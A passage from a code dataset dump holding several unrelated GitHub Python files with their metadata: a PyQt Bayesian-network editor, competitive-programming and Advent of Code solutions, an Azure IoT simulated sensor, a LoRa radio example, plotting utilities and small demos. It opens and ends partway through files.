# y coordinate for vicot between points\n\n # to get unit vector requires: u = v/|v|\n dom = math.sqrt(math.pow(v1, 2) + math.pow(v2, 2)) # = |v|\n\n new_x = v1 / dom # unit vector x component\n new_y = v2 / dom # unit vecotr y componenet\n\n point1 = (\n x2 + new_x * d, y2 + new_y * d) # given node radius d, we want to multiply the unit vector by d to get a\n # vector length d in the direction of the original vector. Add x2 and y2\n # so that the point is located on the actual edge\n\n # get point of another vertex of the triangle-- \n p1x = x2 + new_x * d * 2 # get x value of a point along the edge that is twice as far along the edge as the given node radius d\n p1y = y2 + new_y * d * 2 # get y value of point\n\n # because we now want a unit vector perpendicular to the original edge\n v2 = x1 - p1x # switch x and y vector values\n v1 = -(y1 - p1y) # and negate a vector component\n\n # to get unit vector requires: u = v/|v|\n dom = math.sqrt(math.pow(v1, 2) + math.pow(v2, 2)) # = |v|\n\n new_x = v1 / dom # get unit vector components\n new_y = v2 / dom\n\n point2 = (p1x + new_x * d / 2.0, p1y + new_y * d / 2.0) # length from this point to edge is 1/2 radius of node\n\n # get point of final vertex of triangle--\n # because we want the other unit vector perpendicular to the original edge\n v1 = y1 - p1y # switch x and y vector values\n v2 = -(x1 - p1x) # negate the other vector component this time\n\n # to get unit vector requires: u = v/|v|\n dom = math.sqrt(math.pow(v1, 2) + math.pow(v2, 2)) # = |v|\n\n new_x = v1 / dom # get unit vector\n new_y = v2 / dom\n\n point3 = (p1x + new_x * d / 2.0, p1y + new_y * d / 2.0) # length from this point to edge is 1/2 radius of node\n\n return ([point1, point2, point3]) # return a list of the three points\n\n def paint(self, painter, option, widget):\n pen = QtGui.QPen()\n pen.setWidth(3)\n if self.highlighted:\n # if edge is highlighted paint it green\n pen.setColor(QtGui.QColor(50, 175, 50, 200))\n else:\n # otherwise paint it red\n pen.setColor(QtGui.QColor(250, 100, 100, 255))\n # paint line to represent edge\n painter.setPen(pen)\n painter.drawLine(self.x1, self.y1, self.x2, self.y2) # draw line to represent edge\n\n if self.highlighted:\n # if edge is highlighted paint arrow green\n # pen.setColor(QtCore.Qt.green)\n painter.setBrush(QtGui.QColor(165, 255, 0, 255))\n else:\n # otherwise paint it red\n pen.setColor(QtCore.Qt.red)\n painter.setBrush(QtGui.QColor(250, 100, 100, 255))\n painter.setPen(pen)\n point_array = self.get_directed_arrow_points(self.x1, self.y1, self.x2, self.y2,\n 20) # get coordinates of arrow vertices\n points = [QtCore.QPointF(point_array[0][0], point_array[0][1]),\n QtCore.QPointF(point_array[1][0], point_array[1][1]),\n QtCore.QPointF(point_array[2][0], point_array[2][1])] # create a list of QPointF\n arrow = QtGui.QPolygonF(points) # create a triangle with the given points\n painter.drawPolygon(arrow) # draw arrow\n\n def boundingRect(self):\n return QtCore.QRectF(0, 0, 2500, 2500)\n\n\nclass GraphScene(QtWidgets.QGraphicsScene):\n def __init__(self):\n super().__init__()\n self.movingNode = None\n self.importing = False\n self.setSceneRect(0, 0, 2500, 2500) # set size of graphical scene\n self.nodes = {} # node dictionary\n self.edges = {} # edge dictionary\n self.importNames = []\n self.bn = gum.BayesNet('Bayesian Net')\n\n self.data_updater = UpdateData() # create a data updater to send out a signal anytime data about the graph is changed\n\n # set up message box for displaying invalid input alerts \n self.InvalidInMsg = QtWidgets.QMessageBox()\n self.InvalidInMsg.setStandardButtons(QtWidgets.QMessageBox.Ok)\n self.InvalidInMsg.setWindowTitle('Invalid input alert!')\n\n self.selected = []\n\n def check_selected(self, requiredNum):\n\n if len(self.selected) != requiredNum: # if nodes arent selected print message and cancel\n return False\n\n return True\n\n def deselect_nodes(self):\n for node in self.selected:\n node.selected = False\n self.selected = []\n\n def mousePressEvent(self, event):\n\n if event.button() == QtCore.Qt.RightButton: # if right button pressed\n self.select_node(event) # call selectd node function\n return\n\n QtWidgets.QGraphicsScene.mousePressEvent(self, event) # call original function to maintain functionality\n\n def mouseReleaseEvent(self, event):\n if not self.movingNode:\n if event.button() == QtCore.Qt.LeftButton: # if right button pressed\n self.add_node(event) # otherwise call add node function\n return\n else:\n self.movingNode = None\n QtWidgets.QGraphicsScene.mouseReleaseEvent(self, event) # call original function to maintain functionality\n\n def mouseMoveEvent(self, event):\n if event.buttons() == QtCore.Qt.LeftButton: # if left button pressed\n if self.movingNode is None:\n node = self.itemAt(event.scenePos(),\n QtGui.QTransform()) # get item clicked on at this position in scene\n if type(node) is Node: # if item is a node\n self.movingNode = node\n else:\n # Update node position\n self.movingNode.x = event.scenePos().x() - 20\n self.movingNode.y = event.scenePos().y() - 20\n # Updates arcs\n for edgeNode in self.movingNode.parents + self.movingNode.children:\n try:\n edge = self.edges[(self.movingNode.val, edgeNode)]\n edge.x1 = edge.node1.x + 20\n edge.y1 = edge.node1.y + 20\n except KeyError:\n edge = self.edges[(edgeNode, self.movingNode.val)]\n edge.x2 = edge.node2.x + 20\n edge.y2 = edge.node2.y + 20\n self.update()\n\n QtWidgets.QGraphicsScene.mouseMoveEvent(self, event) # call original function to maintain functionality\n\n def keyPressEvent(self, event):\n\n if event.key() == QtCore.Qt.Key_Return: # if enter is pressed\n self.add_edge_selected() # try to connect selected nodes with an edge\n elif event.key() == QtCore.Qt.Key_Backspace: # if backspace pressed\n self.delete_nodes_selected()\n elif event.key() == QtCore.Qt.Key_Up: # if up arrow pressed\n self.open_CPT_selected()\n elif event.key() == QtCore.Qt.Key_Delete: # if delete pressed\n self.delete_edge_selected() # remove edge between selected nodes\n\n self.update()\n\n def open_CPT_selected(self):\n if self.check_selected(1):\n self.open_CPT(self.selected[0].val)\n self.deselect_nodes()\n else:\n self.InvalidInMsg.setText('Must select only 1 node to open its CPT')\n self.InvalidInMsg.exec_()\n\n def open_CPT(self, nodeName):\n if nodeName not in self.nodes: # if node1_val not in nodes dictionary\n self.InvalidInMsg.setText('\"' + str(nodeName) + '\" is not in network')\n self.InvalidInMsg.exec_() # print message and exit\n return\n self.CPTWindow = Ui_CPTWindow(self, nodeName)\n self.CPTWindow.show()\n\n def makeInference(self, nodeName, index):\n if index == 0: # Lazy Propagation\n ie = gum.LazyPropagation(self.bn)\n elif index == 1: # Shafer Shenoy\n ie = gum.ShaferShenoyInference(self.bn)\n else: # Variable Elimination\n ie = gum.VariableElimination(self.bn)\n ie.makeInference()\n try:\n self.CPTWindow.close()\n self.inferenceWindow = Ui_CPTWindow(self, nodeName, ie.posterior(nodeName))\n self.inferenceWindow.show()\n except Exception as e:\n self.InvalidInMsg.setText(e.__str__())\n self.InvalidInMsg.exec_() # print message and exit\n\n def delete_edge_selected(self):\n\n if self.check_selected(2): # if nodes selected\n self.remove_edge(self.selected[0].val, self.selected[1].val) # delete edge between them\n self.deselect_nodes() # deselect nodes\n else: # else print error message\n self.InvalidInMsg.setText('Must select 2 nodes to delete edge')\n self.InvalidInMsg.exec_()\n\n def add_edge_selected(self):\n # check that 2 nodes selected\n if self.check_selected(2): # if nodes selected\n if self.add_edge(self.selected[0].val, self.selected[1].val): # add edge between selected nodes\n self.deselect_nodes() # deselect nodes\n else: # if invalid selection p rint error\n self.InvalidInMsg.setText('Must select 2 nodes to add edge')\n self.InvalidInMsg.exec_()\n\n def delete_nodes_selected(self):\n for node in self.selected: # for each of the selected nodes\n self.remove_node(node.val) # remove it from the graph\n\n self.selected = []\n\n def select_node(self, event):\n node = self.itemAt(event.scenePos(), QtGui.QTransform()) # get item clicked on at this position in scene\n\n if type(node) is Node: # if item is a node\n node.selected = not node.selected # set selected to True\n if node.selected:\n self.selected.append(node)\n else:\n self.selected.remove(node)\n self.update()\n\n def saveNodesLocation(self, path):\n file = open(path.replace('.bif', '_LOC.txt'), \"w\")\n for var in self.nodes.values():\n file.write(var.val)\n file.write(\" \")\n file.write(str(var.x))\n file.write(\" \")\n file.write(str(var.y))\n file.write(\"\\n\")\n file.close()\n\n def importBN(self, file):\n try:\n self.bn = gum.loadBN(file)\n self.importing = True\n self.nodes = {}\n self.edges = {}\n self.clear()\n node_LOC = file.replace(\".bif\", \"_LOC.txt\")\n try: # Try to import nodes from file _LOC\n with open(node_LOC, \"r\") as loc:\n nodes = loc.readlines()\n for node in nodes:\n self.add_node(None, node.split())\n self.importArcs()\n except FileNotFoundError: # Import only names, user will choose the positions of nodes\n for var in self.bn.names():\n self.importNames.append(var)\n self.importNames.reverse() # Reversing the list in order to start importing from the first node\n self.InvalidInMsg.setText(\"Click the point where to draw the node '\" + self.importNames[-1] + \"'\")\n self.InvalidInMsg.exec_() # print message and exit\n except gum.IOError:\n self.InvalidInMsg.setText(\"File not found\")\n self.InvalidInMsg.exec_() # print message and exit\n except gum.FatalError as e:\n self.InvalidInMsg.setText(\"File is not valid:\\n{}\".format(e))\n self.InvalidInMsg.exec_() # print message and exit\n\n def importArcs(self):\n for arc in self.bn.arcs():\n self.add_edge(self.bn.variable(int(arc[0])).name(), self.bn.variable(int(arc[1])).name())\n self.importing = False\n\n def add_node(self, event, import_node=None):\n if import_node is None:\n x = event.scenePos().x() # get x position of mouse\n y = event.scenePos().y() # get y position of mouse\n else: # Import positions from file _LOC\n x = float(import_node[1])\n y = float(import_node[2])\n if not self.importing:\n node_val, ok = QtWidgets.QInputDialog.getText(QtWidgets.QWidget(), 'Input Dialog',\n 'Enter node name:') # use dialog to get node value to be added\n if node_val: # In case user didn't want to create a node, he can just not type the name\n if node_val not in self.nodes:\n variable_type, ok = QInputDialog.getItem(QtWidgets.QWidget(), \"Select node type\",\n \"Type:\", [\"LabelizedVariable\", \"RangeVariable\"], 0, False)\n if variable_type == \"RangeVariable\":\n inputter = InputDialog()\n inputter.exec_()\n minVal = inputter.spinBoxes[0].value()\n maxVal = inputter.spinBoxes[1].value()\n else:\n self.InvalidInMsg.setText('Node already present')\n self.InvalidInMsg.exec_()\n return\n elif import_node is not None: # Import the name from the file\n node_val = import_node[0]\n else: # Import name from previous populated list\n node_val = self.importNames.pop()\n if node_val: # dialog value was input\n if 10 > len(str(node_val)) > 0: # if input was between 1 and 10 characters\n node = Node(x - 20, y - 20, str(node_val)) # create a new node at the given x and y coordinates\n self.addItem(node) # add node to scene\n self.nodes[node.val] = node # add node to node dictionary\n if not self.importing:\n if variable_type == \"RangeVariable\":\n var = gum.RangeVariable(node_val, \"\", minVal, maxVal)\n potential = []\n for i in range(var.domainSize()):\n potential.append(0.5)\n else:\n var = gum.LabelizedVariable(node.val, \"\", 2)\n potential = [0.5, 0.5]\n self.bn.add(var)\n self.bn.cpt(node.val).fillWith(potential)\n else:\n self.InvalidInMsg.setText(\n 'Node name must consist of between 1 and 10 characters') # print message if invalid dialog input\n self.InvalidInMsg.exec_()\n return\n self.data_updater.signal.emit() # emit a signal to notify that the graph was updated\n if self.importing and import_node is None: # If importing without file\n if self.importNames: # Import next node\n self.InvalidInMsg.setText(\"Click the point where to draw the node '\" + self.importNames[-1] + \"'\")\n self.InvalidInMsg.exec_() # print message and exit\n else: # If nodes are imported, import arcs\n self.importArcs()\n\n def add_edge(self, node1_val, node2_val):\n if node1_val not in self.nodes: # ensure node value is in dictionary of nodes\n self.InvalidInMsg.setText('\"' + str(node1_val) + '\" is not in network')\n self.InvalidInMsg.exec_()\n return False\n if node2_val not in self.nodes: # ensure node value is in dictionary of nodes\n self.InvalidInMsg.setText('\"' + str(node2_val) + '\" is not in network')\n self.InvalidInMsg.exec_()\n return False\n if node2_val == node1_val: # ensure node values are unique\n self.InvalidInMsg.setText('Two unique node values required to create an arc')\n self.InvalidInMsg.exec_()\n return False\n # get nodes from dictionary\n node2 = self.nodes[node2_val]\n node1 = self.nodes[node1_val]\n if (node1_val, node2_val) in self.edges or ((node2_val,\n node1_val) in self.edges): # if edge already exists between given nodes\n self.InvalidInMsg.setText('Arc already present between the two nodes')\n self.InvalidInMsg.exec_()\n return False\n edge = Edge(node1, node2) # create new edge\n self.addItem(edge) # add edge to scene\n if not self.importing:\n self.bn.addArc(node1.val, node2.val)\n node1.children.append(node2_val)\n node2.parents.append(node1_val)\n # reset all nodes in graph so they are layered over the edges\n for val, node in self.nodes.items():\n self.removeItem(node)\n self.addItem(node)\n\n self.edges[(node1_val, node2_val)] = edge # add new edge to list of edges\n self.data_updater.signal.emit() # emit a signal to notify that the graph was updated\n return True # return true if edge successfully added\n\n def remove_edge(self, node1_val, node2_val):\n\n if node1_val not in self.nodes: # if node1_val not in nodes dictinary\n self.InvalidInMsg.setText('\"' + str(node1_val) + '\" is not in network')\n self.InvalidInMsg.exec_() # print message and exit\n return\n\n if node2_val not in self.nodes: # if node1_val not in nodes dictinary\n self.InvalidInMsg.setText('\"' + str(node2_val) + '\" is not in network')\n self.InvalidInMsg.exec_() # print message and exit\n return\n\n if (node1_val, node2_val) not in self.edges: # if edge from node1_val to node2_val not in edges dictionary\n self.InvalidInMsg.setText('No edge exists between nodes ' + str(node1_val) + ' and ' + str(node2_val))\n self.InvalidInMsg.exec_() # print message and exit\n return\n else:\n edge = self.edges[(node1_val, node2_val)] # otherwise represent edge from node1_val, node2_val\n\n self.removeItem(edge) # remove edge from scene\n # self.graph.remove_edge(node1_val, node2_val) # remove edge from underlaying graph\n self.bn.eraseArc(node1_val, node2_val)\n self.nodes[node1_val].children.remove(node2_val)\n self.nodes[node2_val].parents.remove(node1_val)\n del self.edges[(edge.node1.val, edge.node2.val)] # delete edge from edges dictionary\n\n self.data_updater.signal.emit() # emit a signal to notify that the graph was updated\n\n def remove_node(self, node_val):\n if node_val not in self.nodes: # if node value not in dictionary\n self.InvalidInMsg.setText(str(node_val) + ' is not in graph')\n self.InvalidInMsg.exec_() # print message and exit\n return\n connections = []\n for node_pair in self.edges.keys(): # for each edge in graph\n if node_pair[0] == node_val or node_pair[1] == node_val: # if edge connects to this node\n connections.append(\n (node_pair[0], node_pair[1])) # save the connection in list\n for connection in connections: # for all connections\n self.remove_edge(connection[0], connection[1]) # remove edges from graph\n self.removeItem(self.nodes[node_val]) # remove the node from the scene\n # self.graph.remove_node(node_val) # remove the node from the underlaying graph\n self.bn.erase(node_val)\n del self.nodes[node_val] # delete the node from the node dictionary\n\n self.data_updater.signal.emit() # emit a signal to notify that the graph was updated\n return connections # return the connections that were deleted\n\n def overlay_highlighted(self):\n for (from_node_val, to_node_val), edge in self.edges.items():\n if edge.highlighted:\n self.removeItem(edge)\n self.addItem(edge) # layer highlighted edges over none highlighted edges\n\n for node_val, node in self.nodes.items():\n # layer all nodes over edges\n self.removeItem(node)\n self.addItem(node)\n\n\nclass UpdateData(QtCore.QObject):\n # class for signaling main window of updated data\n signal = QtCore.pyqtSignal()\n","repo_name":"AsterITA/bayesian-editor","sub_path":"GraphGuiClasses.py","file_name":"GraphGuiClasses.py","file_ext":"py","file_size_in_byte":24633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41252932484","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n import sys\n\n input = sys.stdin.readline\n\n n, k = map(int, input().split())\n p = list(map(lambda x: int(x) - 1, input().split()))\n c = list(map(int, input().split()))\n ans = -float(\"inf\")\n\n # 開始位置を全探索[0, n)\n for si in range(n):\n scores = list()\n score_total = 0\n pos = si\n\n # 開始位置をsiとしたときの周期を検出\n while True:\n pos = p[pos]\n scores.append(c[pos])\n score_total += c[pos]\n\n if pos == si:\n break\n\n cycle_size = len(scores)\n sub_total = 0 # サイクルの途中までの合計値\n\n # 1サイクルのうち、最大値を求める[0, cycle_size)\n for j in range(cycle_size):\n if j + 1 > k:\n break\n\n sub_total += scores[j]\n # sub_totalを現在の1サイクルの最大値とする\n candidate = sub_total\n\n # 位置jまでの合計値を求める\n if score_total > 0:\n cycle_count = (k - (j + 1)) // cycle_size\n candidate += score_total * cycle_count\n\n ans = max(ans, candidate)\n\n print(ans)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"ABC/abc151-abc200/abc175/d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"ja","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"29085287595","text":"from newspaper import Article as NewsPaperArticle\n\n\nclass Article(NewsPaperArticle):\n def __init__(self, html, **kwargs):\n # Dummy this url as we already have the html\n # and we jsut want its parsing capabilities\n kwargs['url'] = 'http://staging.manualone.com'\n super(Article, self).__init__(**kwargs)\n # now set the html with the data we ahve\n self.set_html(html)\n # set lookup props required to make it work\n self.is_downloaded = True\n","repo_name":"rosscdh/wordpress_rest","sub_path":"wordpress_rest/apps/wordpress/news.py","file_name":"news.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5734965963","text":"import asyncio\nimport json\nimport time\nimport random\n\nfrom azure.iot.device import Message\nfrom azure.iot.device.aio import IoTHubDeviceClient\n\n\ndef load_file(path):\n with open(path) as f:\n return f.read()\n\n\nasync def send_messages(messages: list):\n # Load the connection string from an environment variable\n conn_str = load_file(\"connection-string.txt\")\n\n # Create instance of the device client using the connection string\n device_client = IoTHubDeviceClient.create_from_connection_string(conn_str)\n\n # Connect the device client.\n await device_client.connect()\n\n # Send all messages that we are given\n for message in messages:\n print(\"Sending message...\")\n await device_client.send_message(message)\n print(\"Message successfully sent!\")\n\n # Finally, shut down the client\n await device_client.shutdown()\n\n\ndef get_random_datum():\n return {\n \"id\": \"sim-device\",\n \"timestamp\": time.time_ns() // 1_000_000,\n \"temperature\": random.uniform(0.0, 35.0),\n \"humidity\": random.uniform(0.0, 100.0),\n \"window\": random.choice([True, False])\n }\n\n\nasync def main():\n for i in range(10):\n # payload = [get_random_datum(), get_random_datum(), get_random_datum()]\n payload = get_random_datum()\n payload = json.dumps(payload)\n print(f\"Message payload: {payload}\")\n message = Message(payload, content_encoding=\"utf-8\", content_type=\"application/json\")\n await send_messages([message])\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n print(\"Sent 10 messages to Azure. Check database.\")\n","repo_name":"effectlabmedienstuermer/iot-hub-example","sub_path":"simulated_temp_sensor.py","file_name":"simulated_temp_sensor.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31514166610","text":"\"\"\"\nExample for using the RFM9x Radio with Raspberry Pi.\n\nLearn Guide: https://learn.adafruit.com/lora-and-lorawan-for-raspberry-pi\nAuthor: Brent Rubell for Adafruit Industries\n\"\"\"\n# Import Python System Libraries\nimport time\nfrom datetime import datetime\n# Import Blinka Libraries\nimport busio\nfrom digitalio import DigitalInOut, Direction, Pull\nimport board\n# Import the SSD1306 module.\nimport adafruit_ssd1306\n# Import RFM9x\nimport adafruit_rfm9x\n\n# Create the I2C interface.\ni2c = busio.I2C(board.SCL, board.SDA)\n\n# 128x32 OLED Display\nreset_pin = DigitalInOut(board.D4)\ndisplay = adafruit_ssd1306.SSD1306_I2C(128, 32, i2c, reset=reset_pin)\n# Clear the display.\ndisplay.fill(0)\ndisplay.show()\nwidth = display.width\nheight = display.height\n\n# Configure LoRa Radio\nCS = DigitalInOut(board.CE1)\nRESET = DigitalInOut(board.D25)\nspi = busio.SPI(board.SCK, MOSI=board.MOSI, MISO=board.MISO)\nrfm9x = adafruit_rfm9x.RFM9x(spi, CS, RESET, 915.0)\nrfm9x.tx_power = 23\nprev_packet = None\n\n\n#Varriables\n\nwhile True:\n packet = None\n # draw a box to clear the image\n display.fill(0)\n display.text('Transmitting', 35, 0, 1)\n\n # Send Value\n display.fill(0)\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S\")\n\n transmit_data = bytes(current_time,\"utf-8\")\n print(current_time)\n rfm9x.send(transmit_data)\n display.text('Sending time', 25, 15, 1)\n\n\n display.show()\n time.sleep(1.0)\n\n","repo_name":"ShinyYellowBanana/scripts","sub_path":"loraRFM9X/radio_rfm9xTx.py","file_name":"radio_rfm9xTx.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"41437611668","text":"import pygame\nfrom random import getrandbits\n\n\nclass Monsters:\n def __init__(self, x, y, image, win) -> None:\n self.image = image\n self.surface = win\n self.x = x\n self.y = y\n self.speed = 0.5\n self.moved = 0\n self.start_side = bool(getrandbits(1))\n self.rect = pygame.Rect((self.x, self.y), (self.image.get_width(), self.image.get_height()))\n\n def handle_keys(self):\n \"\"\" Handles Keys \"\"\"\n key = pygame.key.get_pressed()\n dist = self.speed # distance moved in 1 frame, try changing it to 5\n if key[pygame.K_DOWN]: # down key\n self.y += dist # move down\n elif key[pygame.K_UP]: # up key\n self.y -= dist # move up\n if key[pygame.K_RIGHT]: # right key\n self.x += dist # move right\n elif key[pygame.K_LEFT]: # left key\n self.x -= dist # move left\n\n def auto_move(self):\n if self.start_side:\n if self.moved - self.speed >= -20:\n self.x -= self.speed\n self.moved -= self.speed\n else:\n self.start_side = not self.start_side\n else:\n if self.moved + self.speed <= 20:\n self.x += self.speed\n self.moved += self.speed\n else:\n self.start_side = not self.start_side\n\n def draw(self):\n self.surface.blit(self.image, (self.x, self.y))\n","repo_name":"ramosdeluis/space-invaders","sub_path":"monsters.py","file_name":"monsters.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29760832844","text":"'''\nShubham Patel\nGithub: github.com/shubham-00\nLinkedIn: https://www.linkedin.com/in/srpatel980/\nContact for more.\n'''\n\n\nfrom mpl_toolkits.mplot3d import axes3d\nimport matplotlib.pyplot as plt\n\nfig = plt.figure()\t# Figure(640x480)\t||\tCreates an empty figure\nax = fig.add_subplot(111, projection = \"3d\")\t# Adds an enpty 3d plot\n\t\t\t\t\t\t\t\t\t\t\t\t# 111 means 1*1 grid and 1st subplot\n\t\t\t\t\t\t\t\t\t\t\t\t# abc means a*b grid and cth subplot\n\nX, Y, Z = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], [5, 6, 3, 13, 4, 1, 2, 4, 8, 10], [2, 3, 3, 3, 5, 7, 9, 11, 9, 10]\t# Creating three arrays (lists actually)\nplt.plot(X, Y, Z)\t# Plots in 3d\n\nax.set_title(\"Basic 3D Line\")\n\nplt.show()\t# Actually plots on the screen\n\n\n'''\nShubham Patel\nGithub: github.com/shubham-00\nLinkedIn: https://www.linkedin.com/in/srpatel980/\nContact for more.\n'''\n","repo_name":"shubham-00/plots-in-python","sub_path":"01. Basic 3D line/basic_3d_line.py","file_name":"basic_3d_line.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"43552131805","text":"import nltk\nfrom nltk.corpus import wordnet as wn\nphone = wn.synset(\"phone.n.01\")\nfrance = wn.synset(\"france.n.01\")\nhypernyms = phone.hypernyms()\nhyponyms = phone.hyponyms()\n\nrelated = hypernyms + hyponyms\n\nmaxSimilarity = 0\nmostSimilar = None\nfor item in related:\n mySimilarity = france.wup_similarity(phone)\n if mySimilarity > maxSimilarity:\n maxSimilarity = mySimilarity\n mostSimilar = item\nprint(\"Clue from 'france' and 'phone' is...\")\nprint(str(mostSimilar)[8:-7])\n","repo_name":"HannahLing0/TP","sub_path":"TP1/nlpdemo.py","file_name":"nlpdemo.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7417805753","text":"import sys\nsys.path.insert(0, '.')\nfrom util.read_input import read_input\n\n# input = read_input(\"day4/sample\")\ninput = read_input(\"day4/input.txt\")\n\ndef get_assignment(s):\n x = s.split(\"-\")\n return set(range(int(x[0]),int(x[1])+1))\n\ndef is_contains(a,b):\n if a.issubset(b) or b.issubset(a):\n return True\n \n return False\n\ndef is_overlap(a,b):\n if len(a.intersection(b)) == 0:\n return False\n \n return True\n\npart_1 = 0\npart_2 = 0\nfor i in input:\n s = i.split(\",\")\n a = get_assignment(s[0])\n b = get_assignment(s[1])\n t = is_contains(a,b)\n # print(f\"{i} is {t}\")\n if t:\n part_1 += 1\n \n r = is_overlap(a,b)\n # print(f\"{i} is {r}\")\n if r:\n part_2 += 1\n\nprint(f\"Part 1 = {part_1}\")\nprint(f\"Part 2 = {part_2}\")\n","repo_name":"brandonwakefield/adventofcode","sub_path":"2022/day4/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73170676996","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\n\n\ndef plot_data(x, y, ax=None, alpha=0.6, s=18.0, colors=((0.61, 0.07, 0.03), (0.03, 0.57, 0.61)),\n legend=True, xrange=None, yrange=None):\n if xrange is None:\n xrange = (x[:, 0].min() - 0.5, x[:, 0].max() + 0.5)\n if yrange is None:\n yrange = (x[:, 1].min() - 0.5, x[:, 1].max() + 0.5)\n\n if ax is None:\n fig, ax = plt.subplots()\n ax.scatter(x[y == 0, 0], x[y == 0, 1], marker='o', label='Class 1', alpha=alpha, color=colors[0], s=s)\n ax.scatter(x[y == 1, 0], x[y == 1, 1], marker='o', label='Class 2', alpha=alpha, color=colors[1], s=s)\n ax.set_xlim(*xrange)\n ax.set_ylim(*yrange)\n ax.set_xlabel('X1')\n ax.set_ylabel('X2')\n ax.set_title('Data')\n if legend:\n ax.legend(loc='upper left', scatterpoints=1, numpoints=1)\n return ax, xrange, yrange\n\n\ndef plot_predictive_distribution(predict_func, xrange=None, yrange=None, x_data=None, y_data=None, ax=None, res=300,\n levels=11, norm_levels=True):\n if ax is None:\n fig, ax = plt.subplots()\n if x_data is not None:\n assert y_data is not None\n ax, xrange, yrange = plot_data(x_data, y_data, ax=ax, xrange=xrange, yrange=yrange, alpha=0.5, s=10.)\n else:\n assert xrange is not None\n assert yrange is not None\n xx, yy = np.meshgrid(np.linspace(*xrange, res), np.linspace(*yrange, res))\n grid_data = np.stack((xx.ravel(), yy.ravel()), 1)\n grid_probs = predict_func(grid_data)\n grid_probs = grid_probs.reshape(xx.shape)\n if norm_levels and type(levels) is int:\n levels = np.linspace(0., 1., levels)\n cs2 = ax.contour(xx, yy, grid_probs, levels=levels, cmap='RdGy', linewidths=1.5, alpha=0.9)\n plt.clabel(cs2, fmt='%2.1f', colors='k', fontsize=8)\n ax.figure.colorbar(cs2, ax=ax, aspect=40)\n return ax, xrange, yrange\n\n\ndef plot_predictive_contourf(predict_func, xrange, yrange, ax=None, res=300, num_levels=41, fit_levels=False):\n if ax is None:\n fig, ax = plt.subplots()\n xx, yy = np.meshgrid(np.linspace(*xrange, res), np.linspace(*yrange, res))\n grid_data = np.stack((xx.ravel(), yy.ravel()), 1)\n grid_probs = predict_func(grid_data)\n grid_probs = grid_probs.reshape(xx.shape)\n if fit_levels:\n levels = np.linspace(grid_probs.min(), grid_probs.max(), num_levels, endpoint=True)\n else:\n levels = np.linspace(0., 1., num_levels, endpoint=True)\n ticks = levels[::10]\n cs = ax.contourf(xx, yy, grid_probs, levels, cmap='RdGy')\n ax.figure.colorbar(cs, ax=ax, aspect=40, ticks=ticks)\n\n ax.set_xlim(*xrange)\n ax.set_ylim(*yrange)\n ax.set_xlabel('X1')\n ax.set_ylabel('X2')\n return ax\n\n","repo_name":"BrunoKM/bayesian_logistic_regression","sub_path":"plot_util.py","file_name":"plot_util.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"484247363","text":"def main():\n\n l_eigenvectors = parse_eigenvectors()\n\n l_coordinates = parse_coordinates()\n\n vmd_arrows(l_eigenvectors,l_coordinates,)\n\n return\n \n\ndef parse_eigenvectors():\n\n import Numeric\n\n fd = open('eigcomp.xvg','r')\n lines = fd.readlines()\n fd.close()\n\n d_rmsfs = {1:[],2:[],3:[],}\n\n for line in lines:\n if line[0] == '@':\n axis = 0\n continue\n elif line[0] == '&':\n if axis == 3:\n break\n axis += 1\n elif axis == 0:\n continue\n else:\n d_rmsfs[axis] += [float(line.split()[1])]\n\n l_eigenvectors = []\n for i in range(len(d_rmsfs[1])):\n x = d_rmsfs[1][i]\n y = d_rmsfs[2][i]\n z = d_rmsfs[3][i]\n l_eigenvectors += [Numeric.array([x,y,z,])]\n\n return l_eigenvectors\n\n\ndef parse_coordinates():\n\n import Numeric\n\n fd = open('/data/remediated_pdb/at/pdb1atp.ent','r')\n lines = fd.readlines()\n fd.close()\n\n l_coordinates = []\n\n for line in lines:\n record = line[:6].strip()\n if record == 'ATOM':\n atom_name = line[12:16].strip()\n if atom_name != 'CA':\n continue\n chain = line[21]\n if chain != 'E':\n continue\n x = float(line[30:38])\n y = float(line[38:46])\n z = float(line[46:54])\n coordinate = Numeric.array([x,y,z])\n l_coordinates += [coordinate]\n \n return l_coordinates\n\n\ndef vmd_arrows(l_eigenvectors, l_coordinates,):\n\n import math\n\n lines = ['draw color white\\n']\n\n for i in range(len(l_coordinates)):\n\n coordinate = l_coordinates[i]\n eigenvector = 20*l_eigenvectors[i]\n\n x = coordinate[0]\n y = coordinate[1]\n z = coordinate[2]\n vx = eigenvector[0]\n vy = eigenvector[1]\n vz = eigenvector[2]\n v_len = math.sqrt(vx**2+vy**2+vz**2)\n\n ## cylinder *and* cone\n if v_len > 1:\n v_cone = [\n vx/v_len,\n vy/v_len,\n vz/v_len,\n ]\n v_cylinder = [\n vx-v_cone[0],\n vy-v_cone[1],\n vz-v_cone[2],\n ]\n ## cone only\n else:\n v_cone = [\n vx,\n vy,\n vz,\n ]\n v_cylinder = [0,0,0,]\n\n ## cylinder\n if v_len > 1:\n line = 'draw cylinder {%f %f 